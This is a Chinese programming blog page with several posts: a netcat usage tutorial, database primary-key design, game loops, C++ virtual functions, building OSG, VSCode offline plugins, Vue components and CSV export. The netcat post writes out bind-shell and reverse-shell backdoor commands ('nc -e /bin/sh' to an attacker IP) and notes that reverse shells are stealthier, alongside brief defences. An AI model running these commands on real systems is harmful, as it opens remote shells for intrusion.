Jack Huang's Blog


  • 首页

  • 标签

  • 归档

  • 搜索

netcat使用方法简介

发表于 2019-09-22

netcat(通常缩写为nc)是一种计算机联网实用程序,用于使用TCP或UDP读写网络连接。 该命令被设计为可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。 同时,它是功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有许多内置功能。netcat被称为网络工具中的瑞士军刀,体积小巧,但功能强大。

使用帮助

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。

典型示例

网络诊断

测试某个远程主机的【监听】端口是否可达

用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

1
2
nc -nv x.x.x.x xx
nc -nv -w 3 x.x.x.x xx

上述命令用到了如下几个选项:

  • 选项 -v

如果你是 nc 的新手,建议总是带上这个选项——通过更详细的输出,能帮你搞明白状况。

  • 选项 -n

由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用“选项 -n”。

  • 选项 -w

在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。

如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加“-w 选项”,设置一个比较小的超时值。

判断防火墙是否“允许 or 禁止”某个端口

在“主机S”上运行 nc,让它在 8080 端口,命令如下:

1
nc -lv -p 8080

然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达。

1
nc -nv x.x.x.x xx
  • 选项 -l

这个选项会让 nc 进入监听模式。

  • 选项 -p

这个选项有“选项值”,也就是具体端口号。

  • 选项 -k

在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。

如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。

  • 选项 -u

如果你要测试 UDP 协议,要记得【两边】的 nc 都要追加 -u 选项。

渗透测试

用 nc 进行“端口扫描”

下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024。

1
2
nc -znv x.x.x.x 1-1024
nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded
  • 选项 -z

意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后【不】与对端进行数据通讯。

  • 选项 -n

  • 选项 -v

由于“-v 选项”产生的输出位于【stderr】,上述命令中的 2>&1 用来把【stderr】合并到【stdout】(注:这种写法只适用于 POSIX 系统上的 shell)。

grep 命令用来进行【过滤】。对于 Windows 系统,默认【没有】grep 命令,需改用 find 命令过滤。

网络配置

基于 nc 的端口转发(Port Forward)

用 nc 进行端口转发,需要运行【两个】nc 进程,一个充当“服务端”,另一个是“客户端”,然后用【管道】让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都【对接】到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立【双向通讯】。

运行下面命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。

1
2
mkfifo nc_pipe
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

系统管理

用 nc 传输文件

假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx > file2

然后在【发送端】(A 主机)运行如下命令。

1
nc x.x.x.x xxx < file1

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是【主机 B】的 IP 地址。

用 nc 传输文件,相当于是:直接在【裸 TCP】层面传输。你可以通俗理解为:【没有】应用层。如果你传输的文件【超级大】或者文件数量【超级多】,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录…”而言)

用 nc 远程备份整个磁盘

你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)

1
nc -l -p xxx | dd of=/dev/sdb

然后在【发送端】(A 主机)运行如下命令。

1
dd if=/dev/sda | nc x.x.x.x xxx

网络入侵

用 nc 开启【被动】连接型后门

  • 在受害者机器上开启后门
1
2
nc.exe -l -p xxx -e cmd.exe
nc -l -p xxx -e /bin/sh

后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

  • 防范措施

NAT 模式的虚拟机(Guest OS)

NAT 的好处在于【单向可见】。也就是说,Guest OS 可以访问到物理系统(Host OS)【外部】的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也【没】办法在 Guest OS 中搭建“被动连接型后门”。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门【无法】接受外部网络的连接,这个后门就【失去意义】。

用 nc 开启【主动】连接型后门

  • 攻击者在自己机器上运行“服务端 nc”
1
2
3
nc -lk -p xxx
nc.exe -e cmd.exe x.x.x.x xxx
nc -e /bin/sh x.x.x.x xxx

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

  • 防范措施

【隔离模式】的虚拟机

  • 【主动】连接型后门的优势之处

简单对比一下“后门的两种连接方式”。

可用性

如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡【并未】分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,“主动型后门”就【没有】这种弊端。

隐蔽性

“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,“主动型后门”就【没有】这个问题。

参考链接

  1. netcat,by wikipedia.
  2. NetCat使用指南,by Evilwing.

数据库表主键设计方法

发表于 2019-09-20

数据库表主键使用自增整型字段还是使用GUID字段,这是一个问题。下面详细分析它们的优劣。

基础知识

数据库设计范式

  • 第一范式(1NF):强调的是列的原子性,即列不能够再分成其他几列。简而言之,第一范式就是无重复的列

  • 第二范式(2NF):首先要满足它是1NF,另外还需要包含两部分内容:一是表必须有一个主键;二是没有包含在主键中的列必须完全依赖于主键,而不能只依赖于主键的一部分。简而言之,第二范式就是非主属性非部分依赖于主关键字

  • 第三范式(3NF):首先是 2NF,另外非主键列必须直接依赖于主键,不能存在传递依赖。即不能存在:非主键列 A 依赖于非主键列 B,非主键列 B 依赖于主键的情况。简而言之,第三范式(3NF)要求一个数据库表中不包含已在其它表中已包含的非主关键字信息。

反范式主键的设计原则

  • 主键应当是对用户没有意义的。业务上的‘主键’可以通过唯一键(Unique Key)或唯一索引(Unique Index)和其它约束条件实现
  • 主键应该是单列的,以便提高连接和筛选操作的效率
  • 不要更新主键。实际上,因为主键除了惟一地标识一行之外再没有其他的用途了,所以也就没有理由去对它更新。
  • 主键不应包含动态变化的数据,如时间戳、创建时间列、修改时间列等
  • 主键应当由计算机自动生成。

数据库表主键设计方法

数据库表主键设计主要有自增整型字段和使用GUID字段两种方法。

自增整型字段作为主键

最常用的主键设计方法。例如《阿里 Java 开发手册》中规定有以下 MySQL 建表规约:

表必备三字段:id, gmt_create, gmt_modified。 说明:其中id必为主键,类型为unsigned bigint、单表时自增、步长为1。gmt_create, gmt_modified的类型均为date_time类型。

该方法优点是:数据库自动编号,速度快,而且是增量增长,聚集型主键按顺序存放,对于检索非常有利;数字型的,占用空间小,易排序,在程序中传递也方便;如果通过非系统增加记录(比如手动录入,或是用其他工具直接在表里插入新记录,或老系统数据导入)时,非常方便,不用担心主键重复问题。

该方法缺点是:因为自动增长,在手动要插入指定ID的记录时会显得麻烦,尤其是当系统与其他系统集成时,需要数据导入时,很难保证原系统的ID不发生主键冲突。

GUID字符串作为主键

Guid:指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的,其算法是通过以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字生成。其格式为:04755396-9A29-4B8C-A38D-00042C1B9028。

GUID字符串作为主键的优点如下:

  • 在扩展数据库的时候,当你有多个数据库包含同一段(片)数据时,比如一个顾客集,使用 GUID 意味着该 ID 在所有的数据库中是唯一标识的,而不是仅仅本数据库唯一。这保障了跨数据库迁移数据的安全。又比如,我曾在项目中把多个数据库分片合并到一个 Hadoop 集群中,也没有产生键的冲突。

  • 在插入数据之前,你就能知道这个主键的值,这避免了一轮的数据查找,并且简化了事务的逻辑,即在你插入子记录之前,因为需要使用这个主键作为一个外键,你必须要知道这个主键的值。

  • GUID 不会透露数据的信息,因此被用在 URL 中也比自增整数更安全。比如,我是编号 12345678 号顾客,那么人们就会猜测编号为 12345677 和 12345679 的顾客的存在,这就提供了一种攻击向量。(但是后面我们会看到一个更好的替代品)

GUID字符串作为主键的缺点如下:

  • GUID 值较长,不容易记忆和输入,而且这个值是随机、无顺序的。
  • GUID 的值有 16 个字节,与其它那些诸如 4 字节的整数相比要相对大一些。这意味着如果在数据库中使用 uniqueidentifier 键,可能会带来两方面的消极影响:存储空间增大;索引时间较慢。

主流数据库中GUID实现

MSSQL

在MS Sql 数据库中可以在建立表结构是指定字段类型为uniqueidentifier,并且其默认值可以使用NewID()来生成唯一的Guid(全局唯一标识符).

使用NewID生成的比较随机,如果是SQL 2005可以使用NewSequentialid()来顺序生成,在此为了兼顾使用SQL 2000使用了NewID().

MySQL

MySQL中使用UUID()函数生成主键,UUID()函数将生成格式为xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)的字符串,包含32个16进制数字,以连字号分为五段。示例:550e8400-e29b-41d4-a716-446655440000。

参考链接

  1. 数据库表主键设计原则,by 乐哉悠哉.
  2. [MySQL]数据库主键设计之思考,by 林老师带你学编程.
  3. 如何设计数据库的主键,by Veda 原型.
  4. [译] 把 UUID 或者 GUID 作为主键?你得小心啦!,by zaraguo.
  5. MySQL中使用UUID()函数生成主键,by shiyonghm.

游戏引擎与物理引擎

发表于 2019-09-16 | 更新于 2021-01-09

游戏引擎提供一系列可视化开发工具和可重用组件。这些工具通过与开发环境进行集成,方便开发者简单、快速进行数据驱动方式的游戏开发。为了提高游戏开发人员的开发效率,引擎开发者会开发出大量的游戏所需要的软件组件。大多数引擎集成了图形、声音、物理和人工智能等功能部件。游戏引擎会被称为“中间件”,因为它们可以提供灵活和重用平台,向游戏开发者提供所需要的全部核心功能,从而节省大量的游戏开发费用,降低开发的复杂性,缩短游戏的上市时间,所有这些对于高竞争性的游戏产业来说都是关键因素。诸如虚幻系列引擎、Unity3D、Frostbite Engine、zerodin引擎、Doom3引擎、CryENGINE、3DGame Studio、RenderWare、Gamebryo、Virtools以及Source引擎等引擎。

物理引擎是一个计算机程序模拟牛顿力学模型,使用质量、速度、摩擦力和空气阻力等变量。可以用来预测这种不同情况下的效果。它主要用在计算物理学和电子游戏以及计算机动画当中。物理引擎可作为游戏引擎的一个组件。

物理引擎有两种类型常见的型类:实时物理引擎和高精度物理引擎。高精度的物理引擎需要更多的处理能力来计算非常精确的物理,通常使用在科学研究(计算物理学)和计算机动画电影制作。实时物理引擎使用通常使用在电子游戏并且简化运算,降低精确度增以减少计算时间,得到在电子游戏当中可以接受的的处理速度。常用的物理引擎有:ODE、Box2D、PhysX、Bullet、Havok引擎。

游戏主循环

FPS(Frame Per Second)游戏帧速60帧是指游戏每秒循环更新60次。  

一个游戏程序的基本结构像是这样:

1
2
3
4
while (isRunning)
{
updateEverything();
}

固定拖时间更新法

1
2
3
4
5
while (isRunning)
{
updateEverything();
sleep(1.0/60);//程序进程等待1/60秒
}

累积时间更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* getCurrentTime()每次调用返回当前的时间 */
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
/* 每调用updateEverything()后检查时间,
直到过去的时间达到1/60秒就进行下一次更新 */
if (deltaTime >= 1.0/60)
{
lastUpdateTime = currentTime;
updateEverything();
}
}

图形更新调用法

1
2
3
4
5
6
7
8
9
10
11
while (isRunning)
{
updateEverything();
/* 等待垂直同步信号间的空白时间,程序执行到这里会进入等待
一般会被封装在类似swapBuffer之类的图形API中执行,
但是程序要开启了垂直同步的功能才有效。
不过貌似现在的智能手机都默认有垂直同步的效果,
当然手机和PC的硬件技术不同,可能也不叫这个名字了。*/
waitForVerticalBlank();
drawEverything();
}

死循环并计算时间差用于更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
lastUpdateTime = currentTime;
updateEverything(deltaTime);
}

void updateMove(float deltaTime)
{
position.x += speedX * deltaTime;
position.y += speedY * deltaTime;
}

累积时间半固定时长等图形更新并将时间差用于更新法

1
2
3
4
5
6
7
8
9
10
11
12
13
//假设目标是60帧/秒更新的游戏
float lastUpdateTime = getCurrentTime();
while (isRunning)
{
float currentTime = getCurrentTime();
float deltaTime = currentTime - lastUpdateTime;
lastUpdateTime = currentTime;
/* 如果游戏太卡,过长的时间差可能会导致跳过一些不能跳过的游戏逻辑,所以做一些人为限制 */
if (deltaTime > 1.0/30) deltaTime = 1.0/30;
updateEverything(deltaTime);
waitForVerticalBlank();
drawEverything();
}

上述方法只针对单机游戏有效,如果是网络游戏,考虑客户端之间的同步问题的话,帧速不稳定地变来变去是不好的,我们可以记录过去的时间里跑过的帧数,如果达不到目标帧数就连续进行更新直到赶上需要的帧数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//假设目标是60帧/秒更新的游戏
float startTime = getCurrentTime();
long passedFrames = 0;
while (isRunning)
{
float currentTime = getCurrentTime();
float totalTime = currentTime - startTime;
long targetTotalFrames = totalTime/(1.0/60);
/* 如果某一次更新耗时太久,则会导致passedFrames和targetTotalFrames差太多,所以就连续更新好几次逻辑来赶上目标的更新次数,以保证游戏的进度稳定*/
while (passedFrames < targetTotalFrames)
{
updateEverything();
passedFrames++;
}
/* 图形更新应该在逻辑完全完成更新以后才进行 */
drawEverything();
}

游戏时间

计算机是通过高分辨率计时器来衡量现实时间的,而游戏时间显然不能和真实事件的时间线一致,每个游戏都会有自身的时间线,该时间线和真实时间是两个平行的世界。开发者可以暂停游戏,冻结时间线,也可以通过某种指令来加速时间线,这些对于游戏的调试非常有帮助。一些游戏也会有一些类似时光倒流或者时间变慢的特殊特效,而这些都是通过操作时间线来完成的。

现在假设游戏程序以 60 FPS 在运行,则每帧的处理时间大约为16毫秒。如果想要确保帧率稳定运行,每次循环的处理时间都应该小于这个值,剩余的时间,程序进入睡眠状态:

1
2
3
4
5
6
7
8
9
10
while(true)
{
double start = getCurrentTime();

processInput();
udpate();
render();

sleep(start + MS_PER_FRAME - getCurrentTime());
}

如果每帧的处理时间小于16毫秒,sleep 可以保证游戏不会运行的太快。但是如果游戏的每帧超过16毫秒则会出现卡顿现象。

上面的代码中如果正常的情况下,可以确保每帧推进游戏进程16毫秒,但是因为每帧执行的时间无法固定,会导致帧处理时间超出固定的16毫秒而将游戏拖慢。在无法保证帧处理时间的情况下,我们尝试动态的更新策略,让每帧推进的时间不再是固定的16毫秒,而是根据帧处理的时间来动态调整:

1
2
3
4
5
6
7
8
9
10
double lastTime = getCurrentTime();
while (true)
{
double current = getCurrentTime();
double elapsed = current - lastTime;
processInput();
update(elapsed);
render();
lastTime = current;
}

每一帧我们都计算花费的真实时间(elapsed),而这条根据真实时间测量的时间线被称为全局时间线,所有的游戏内部 update() 逻辑都是基于这条全局时间线。update() 函数内部的处理逻辑会根据传入的时间间隔来驱动所有物体的动态效果,每个物体都有自己的局部时间线,这个局部时间线和全局时间线之间存在着一定的比例关系。例如游戏中存在一个飞行的子弹,子弹的飞行距离 = 子弹的飞行速度 * 子弹的飞行时间。这里的飞行时间并不一定是上面提到的全局时间线,可能是它的1/2或者2倍都是可以的,具体的快慢比例完全取决于你的游戏配置,这条和全局时间线比例不同的时间线也就是局部时间线。

游戏中渲染通常并不会被时间所影响,因为渲染引擎只是单纯的渲染某一时刻的数据逻辑,一般和时间没有关系。受影响的主要是游戏的逻辑更新部分,为了保证不会出现不同硬件的游戏效果不一致,我们可以固定游戏逻辑的更新时间间隔,确保更新频率保持一致。这样做虽然可能导致在配置好的机器上相同的逻辑被渲染多次,但是这显然并不会影响游戏逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
double previous = getCurrentTime();
double lag = 0.0;
while (true) {
double current = getCurrentTime();
double elapsed = current - previous;
previous = current;
lag += elapsed;

processInput();
while (lag >= MS_PER_UPDATE)
{
update();
lag -= MS_PER_UPDATE;
}
render();
}

现在游戏渲染时间线和游戏的更新时间线已经分离,代码中保持游戏的更新时间线以固定的时间间隔推进,这个时间间隔越短,update() 更新的频率越快,越慢更新的频率越低,过慢的更新频率会导致游戏产生抖动现象,不过因为时间步长和硬件不相关,这种现象只会出现在低端机器上。

通过上面的代码基本上已经可以解决游戏循环的大部分问题了,但是还会出现一种现象,就是当一次循环消耗过长的时间,在下一次游戏渲染的时候,渲染的数据仍然是上一个时间点的数据,而不是真实时间点的数据,这听起来不太容易理解,可以看下面的示意图:

游戏更新与渲染

图1 游戏更新与渲染不一致

在图中可以看出这是一个游戏的更新渲染序列,这里看第三次渲染(红点的位置)。因为上一帧的时间花费过长,导致在一帧的逻辑中调用了 update() 两次,进行了两次更新,这时渲染和更新的时间线发生偏移,渲染的真实位置在两次更新逻辑的中间,而渲染的结果却是上一次更新的结果(绿点的位置)。这显然是不对的,因为渲染的结果和现在真实的更新结果并不一样,这时候我们需要计算出二者时间线的偏移值,让渲染的结果符合真实的更新逻辑,也就是说需要计算出从绿点到红点位置的数据变化情况,只有这样渲染的结果才符合常理。

解决这个问题其实很简单,只需要将偏移的大小告诉渲染逻辑即可,渲染逻辑怎样处理这个偏移时间还需要程序自己来决定。

将渲染的代码改为:

1
render(lag / MS_PER_UPDATE);

参考链接

  1. 第十六章:物理引擎,by 冰点.
  2. 为什么单机游戏中的碰撞很不真实?物理引擎真的很难做到和现实一样吗?,by zhihu.
  3. 5.1、Faster Physics(一),by GIFPlane.
  4. 游戏主循环、帧速控制,by luvfight.
  5. 一些游戏程序的基础知识(一),by luvfight.
  6. 一些游戏程序的基础知识(二),by luvfight.
  7. FixedUpdate真的是固定的时间间隔执行吗?聊聊游戏定时器,by 嘉栋.
  8. 欧拉方法,by wikipedia.
  9. 游戏循环,by 没事造轮子.
  10. 大型多人在线游戏的开发中,如何做到每个玩家动作的实时同步的?,by zhihu.

C++虚函数与纯虚函数

发表于 2019-09-15 | 更新于 2024-04-20

在面向对象程序设计领域,C++、Object Pascal 等语言中有虚函数(英语:virtual function)或虚方法(英语:virtual method)的概念。这种函数或方法可以被子类继承和覆盖,通常使用动态调度实现。

纯虚函数或纯虚方法是一个需要被非抽象的派生类覆盖(override)的虚函数. 包含纯虚方法的类被称作抽象类; 抽象类不能被直接实例化。 一个抽象基类的一个子类只有在所有的纯虚函数在该类(或其父类)内给出实现时, 才能直接实例化. 纯虚方法通常只有声明(签名)而没有定义(实现),但有特例情形要求纯虚函数必须给出函数体定义.

虚函数示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# include <iostream>
# include <vector>

using namespace std;
class Animal
{
public:
virtual void eat() const { cout << "I eat like a generic Animal." << endl; }
virtual ~Animal() {}
};

class Wolf : public Animal
{
public:
void eat() const { cout << "I eat like a wolf!" << endl; }
};

class Fish : public Animal
{
public:
void eat() const { cout << "I eat like a fish!" << endl; }
};

class GoldFish : public Fish
{
public:
void eat() const { cout << "I eat like a goldfish!" << endl; }
};


class OtherAnimal : public Animal
{
};

int main()
{
std::vector<Animal*> animals;
animals.push_back( new Animal() );
animals.push_back( new Wolf() );
animals.push_back( new Fish() );
animals.push_back( new GoldFish() );
animals.push_back( new OtherAnimal() );

for( std::vector<Animal*>::const_iterator it = animals.begin();
it != animals.end(); ++it)
{
(*it)->eat();
delete *it;
}

return 0;
}

以下是虚函数 Animal::eat() 的输出:

1
2
3
4
5
I eat like a generic Animal.
I eat like a wolf!
I eat like a fish!
I eat like a goldfish!
I eat like a generic Animal.

纯虚函数示例

在C++语言中, 纯虚函数用一种特别的语法[=0]定义。

1
2
3
4
class Abstract {
public:
virtual void pure_virtual() = 0;
};

纯虚函数的定义仅提供方法的原型. 虽然在抽象类中通常不提供纯虚函数的实现, 但是抽象类中可以包含其实现, 而且可以不在声明的同时给出定义[2]. 每个非抽象子类仍然需要重载该方法, 抽象类中实现的调用可以采用以下这种形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
void Abstract::pure_virtual() {
// do something
}

class Child : public Abstract {
virtual void pure_virtual(); // no longer abstract, this class may be
// instantiated.
};

void Child::pure_virtual() {
Abstract::pure_virtual(); // the implementation in the abstract class
// is executed
}

参考链接

  1. 虚函数和纯虚函数的区别,by hackbuteer1.
  2. 虚函数,by wikipedia.
  3. C++中虚析构函数的作用,by StarLee.
  4. 开源免费的C/C++网络库(c/c++ sockets library) 七剑下天山,by 工程师WWW.
  5. VS2010中属性页中,C/C++ –>预处理器定义,by J.M.Liu.
  6. 深入理解C/C++混合编程(关于#ifdef __cplusplus extern “C” {…}的用法),by zzwdkxx.
  7. 带你玩转 Visual Studio——带你多工程开发,by luoweifu.
  8. c++中冒号(:)和双冒号(::)的用法,by 小金乌会发光-Z&M.
  9. C++ 构造函数总结,by chaibubble.
  10. 详谈C++保护成员和保护继承,by C语言中文网.
  11. c++ 内联函数(一看就懂),by 兴趣斗士.
  12. 浅析C++类的内存布局,by 冯Jungle.
  13. 图说C++对象模型:对象内存布局详解,by melonstreet.
  14. C++ 对象的内存布局,by 陈皓.
  15. C++类对象的内存布局,by 一叶知秋dong.
  16. C++中类所占的内存大小以及成员函数的存储位置,by SOC罗三炮.
  17. struct的用法和struct的对齐原则,by 马小超i.

Ubuntu16.04编译安装OSG

发表于 2019-09-14

OpenSceneGraph是一个开源高性能3D图形工具包,应用程序开发人员在视觉模拟,游戏,虚拟现实,科学可视化和建模等领域使用。 它完全使用标准C ++和OpenGL编写,可在所有Windows平台,OSX,GNU / Linux,IRIX,Solaris,HP-Ux,AIX和FreeBSD操作系统上运行。 OpenSceneGraph现已成为世界领先的场景图技术,广泛应用于视觉,空间,科学,石油天然气,游戏和虚拟现实行业。本文主要记录在Ubuntu 16.04下编译安装OpenSceneGraph的过程。

下载OSG源代码

1
2
3
# cd ~/software
# git clone https://github.com/openscenegraph/OpenSceneGraph.git
# git checkout OpenSceneGraph-3.6.4

下载安装依赖

安装OSG编译所需依赖

1
# sudo apt-get build-dep openscenegraph

下载OSG数据资源

1
2
3
# cd ~/software
# wget http://www.openscenegraph.org/downloads/stable_releases/OpenSceneGraph-3.4.0/data/OpenSceneGraph-Data-3.4.0.zip
# unzip OpenSceneGraph-Data-3.4.0.zip

编译安装

1
2
3
4
5
# cd ~/software/openscenegraph
# cmake .
# make
# sudo make install
# sudo ldconfig -v //如找不到相关osg库,可运行该命令

运行示例

编辑.bashrc文件,添加如下环境变量:

1
2
3
export PATH=${PATH}:/home/myaccount/software/OpenSceneGraph/bin
export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:/home/myaccount/software/OpenSceneGraph/lib
export OSG_FILE_PATH=/home/myaccount/software/OpenSceneGraph-Data:/home/myaccount/OpenSceneGraph-Data/Images

使用如下命令运行示例:

1
sh ./runexamples.bat

参考链接

  1. Getting Started,by OpenSceneGraph.
  2. ubuntu 环境 安装OSG,by qing101hua.
  3. OSG Data Resources,by OpenSceneGraph.

VSCode离线安装插件

发表于 2019-09-07 | 更新于 2023-08-18

Visual Studio Code(简称VS Code)是一个由微软开发,同时支持Windows 、 Linux和macOS等操作系统且开放源代码的代码编辑器。与Sublime相比,VSCode开源,且有强大的社区支持,各种插件层出不穷。因为工作原因,需要在离线情况下使用VSCode。为了增强VSCode的功能,需要离线情况下安装其插件。具体方法如下:

下载VSCode插件

从VSCode的官方市场Extensions for the Visual Studio family of products搜索和下载插件。官方市场下载VSCode插件可能会下载失败,可以跑到插件的github代码库,下载其最新发布版。

下载VSCode插件

图1 下载VSCode插件

离线安装VSCode插件

打开VSCode的软件,选择左侧Extension,点击“…”,选择“从VSIX安装”,选择离线下载的VSCode插件进行安装。

离线安装VSCode插件

图2 离线安装VSCode插件

下载旧版本VSCode插件

新版本VSCode插件对VSCode的版本要求也高,会导致新版本VSCode插件无法在旧版本VSCode中无法安装的问题。因此,需要下载旧版本VSCode插件,但是官网上只能下载最新的VSCode插件,因此需要一种方法来解决改问题。具体方法请参考vscode下载之前版本插件,本质上就是修改VSCode插件下载链接中的版本号参数。

参考链接

  1. Visual Studio Code,by wikipedia.
  2. Extensions for the Visual Studio family of products,by vscode.
  3. GitHub最热!码代码不得不知的所有定律法则,by Dave Kerr.
  4. vscode下载之前版本插件,by itas109.

Vue-js父子组件渲染过程简介

发表于 2019-09-03 | 更新于 2022-08-21

Vuejs组件化开发是前端工程化的一个重要里程碑。在实际开发过程中,子组件渲染得不到理想的视觉效果。导致这一问题的原因埋藏在Vuejs父子组件的渲染过程。因此简单介绍Vuejs父子组件的渲染过程。

加载渲染过程

父beforeCreate->父created->父beforeMount->子beforeCreate->子created->子beforeMount->子mounted->父mounted

子组件更新过程

父beforeUpdate->子beforeUpdate->子updated->父updated

父组件更新过程

父beforeUpdate->父updated

销毁过程

父beforeDestroy->子beforeDestroy->子destroyed->父destroyed

参考链接

  1. vue父子组件的渲染顺序, by rosenWang.
  2. Vue-js入门简介,by jackhuang.
  3. inheritAttrs、vm.$listeners 、vm.$attrs 详解,by 简单tao的简单.

vuejs组件间通信的方法

发表于 2019-09-02 | 更新于 2023-08-30

Vuejs一个吸引人的地方是可以进行组件化开发,避免了前端开发的无序状态。组件无法单独工作,必然会跟父子组件或兄弟组件之间进行通信,以合作实现某种功能。下面即简单介绍Vuejs组件之间的各种通信方式。

方法一、props/$emit

  • 父组件向子组件传值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 父组件中
<template>
<div class="section">
<com-article :articles="articleList" @onEmitIndex="onEmitIndex"></com-article>
<p>{{currentIndex}}</p>
</div>
</template>

<script>
import comArticle from './test/article.vue'
export default {
name: 'HelloWorld',
components: { comArticle },
data() {
return {
currentIndex: -1,
articleList: ['红楼梦', '西游记', '三国演义']
}
},
methods: {
onEmitIndex(idx) {
this.currentIndex = idx
}
}
}
</script>
  • 子组件向父组件传值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<template>
<div>
<div v-for="(item, index) in articles" :key="index" @click="emitIndex(index)">{{item}}</div>
</div>
</template>

<script>
export default {
props: ['articles'],
methods: {
emitIndex(index) {
this.$emit('onEmitIndex', index)
}
}
}
</script>

方法二、$emit/$on

方法三、vuex

方法四、$attrs/$listeners

方法五、provide/inject

Vue2.2.0新增API,这对选项需要一起使用,以允许一个祖先组件向其所有子孙后代注入一个依赖,不论组件层次有多深,并在起上下游关系成立的时间里始终生效。一言而蔽之:祖先组件中通过provider来提供变量,然后在子孙组件中通过inject来注入变量。
provide / inject API 主要解决了跨级组件间的通信问题,不过它的使用场景,主要是子组件获取上级组件的状态,跨级组件间建立了一种主动提供与依赖注入的关系。

需要注意的是:provide 和 inject 绑定并不是可响应的。这是刻意为之的。然而,如果你传入了一个可监听的对象,那么其对象的属性还是可响应的。

虽说provide 和 inject 主要为高阶插件/组件库提供用例,但如果你能在业务中熟练运用,可以达到事半功倍的效果!

方法六、$parent / $children与 ref

参考链接

  1. Vue 组件间通信六种方式(完整版),by 浪里行舟.
  2. 逐行剖析 Vue.js 源码,by 难凉热血.
  3. Vue 组件间通信的八种方式,by ikoala.

客户端使用JS导出CSV文件及中文乱码问题解决方案

发表于 2019-08-27 | 更新于 2020-05-14

在浏览器端无需服务器端支持,直接将JS Array数据导出成CSV文件并下载,是一个常见的开发需求。具体方法如下:

1
2
3
4
5
6
7
8
9
var csvContent= this.$refs.flightInfoGrid.exportdata('csv')
var link = document.createElement('a');
// "\ufeff"是为了解决CSV中文乱码问题
var blob = new Blob(["\ufeff" +csvContent],{type: 'text/csv;charset=utf-8;'});
var url = URL.createObjectURL(blob);
link.href = url;
link.setAttribute('download', 'FlightInfo.csv');
link.click();
document.body.removeChild(link);

中文乱码问题分析

